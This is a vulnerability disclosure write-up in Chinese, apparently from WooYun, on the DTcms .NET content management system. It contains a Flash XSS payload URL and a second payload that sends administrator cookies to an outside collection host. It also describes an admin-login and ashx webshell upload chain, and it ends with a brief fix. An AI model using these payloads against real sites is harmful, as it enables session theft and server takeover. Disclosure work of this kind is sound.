DTcms:http://www.dtcms.net/index.aspx
一个开源.netcms,VS2010装MVC、编译发布、搭环境都花了半天,还好这个cms不要mssql,否则更麻烦。
扯点淡:来乌云也快一年了,一年里确实学到了很多知识。从最开始完全不懂PHP到现在能独立挖掘一些漏洞,写一些exp,也算是时间没有荒废。 然后,认识了一些基友,别人身上也学到很多自己不知道的东西。 期间也有过痛苦、开心、难过、兴奋,遇见过无耻的厂商,也收到过良心厂商的礼物。 还希望以后仍然能愉快地在乌云和各位喝个茶、聊个天,挖洞不在奖励的多少,学习是最重要。 初学.net架构,感觉这才是真正的“safe in default”,比如参数化查询、默认XSS防御机制,感觉挺好的,微软确实也是一个不错的厂商。希望以后学到更多.net的知识。 好不容易放暑假了,结果比上学还忙。只能大夜里看点代码,白天各种事。。。
之前提的一个任意文件删除。。。重复了。。。之后就一直没时间看
首先前台一个普通的flash xsshttp://demo.dtcms.net/scripts/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//
通过这个xss可以获得管理员cookie:http://www.test.com/scripts/swfupload/swfupload.swf?movieName=%22%5D)%7Dcatch(e)%7Bif(!window.x)%7Bwindow.x%3D1%3B(function()%7B(new%20Image()).src%3D'http%3A%2F%2Fxssan.com%2Findex.php%3Fdo%3Dapi%26id%3DSSI7Wt%26cookie%3D'%2Bescape(document.cookie)%3B%7D)()%3B%7D%7D%2F%2F
然后,这个cms有点奇葩的就是,虽然session id是http only的,但cookie中还有管理员的账号密码(加密过),没有http only的,如上图:AdminName=DTcms=admin;AdminPwd=DTcms=BB59946C93C0DEE8082F292B3A0FC7FF
cookie中包含这个AdminName和AdminPwd就可以登录后台。
登录了后台,怎么拿shell?
后台可以修改文件上传类型:
虽然在上传的时候限制了不能上传{ "asp", "aspx", "php", "jsp", "htm", "html" },这些文件:
不过明显还有很多方法突破:
1.IIS6下可以用解析漏洞
2.未限制ashx/asa等格式,可以直接传一个ashx webshell。
然后本地构造一个上传单页,向http://www.test.com/tools/upload_ajax.ashx 处上传即可:
官网演示站:
演示站后台没有设置后缀名的权限,我就不在演示站测试了。
本地测试一下即可。
增加ashx后缀:
上传:
菜刀连接:
修复方案:
删除没用的swf